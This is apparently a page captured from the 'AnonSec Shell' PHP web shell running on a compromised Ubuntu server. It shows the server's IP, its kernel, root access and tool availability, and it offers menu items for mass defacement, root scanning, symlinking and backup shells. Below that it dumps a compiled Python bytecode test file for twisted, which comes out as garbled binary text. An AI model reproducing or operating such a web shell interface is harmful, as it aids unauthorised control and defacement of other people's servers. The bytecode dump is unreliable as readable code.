AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/test_context.cpython-310.pyc
o

�b��@s0dZddlmZddlmZGdd�de�ZdS)z&
Tests for L{twisted.python.context}.
�)�context)�SynchronousTestCasec@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�ContextTestszH
    Tests for the module-scope APIs for L{twisted.python.context}.
    cCs|�t�d��dS)zt
        Arbitrary keys which have not been set in the context have an associated
        value of L{None}.
        �xN)�assertIsNoner�get��self�r
�;/usr/lib/python3/dist-packages/twisted/test/test_context.py�test_notPresentIfNotSetsz$ContextTests.test_notPresentIfNotSetcCs |�t�dditjd�d�dS)z�
        Values may be associated with keys by passing them in a dictionary as
        the first argument to L{twisted.python.context.call}.
        r�yN)�assertEqualr�callrrr
r
r�test_setByCalls zContextTests.test_setByCallcCs(t�ddidd��|�t�d��dS)z�
        After a L{twisted.python.context.call} completes, keys specified in the
        call are no longer associated with the values from that call.
        rr
cSsdS)Nr
r
r
r
r�<lambda>%sz2ContextTests.test_unsetAfterCall.<locals>.<lambda>N)rrrrrr
r
r�test_unsetAfterCall sz ContextTests.test_unsetAfterCallcCs:t�}|�tjj|d�t�|d�|�dt�|��dS)zy
        A default value may be set for a key in the context using
        L{twisted.python.context.setDefault}.
        Nr
)�object�
addCleanupr�defaultContextDict�pop�
setDefaultrr)r	�keyr
r
r�test_setDefault(szContextTests.test_setDefaultN)�__name__�
__module__�__qualname__�__doc__rrrrr
r
r
rr
srN)r�twisted.pythonr�twisted.trial.unittestrrr
r
r
r�<module>s

Anon7 - 2022
AnonSec Team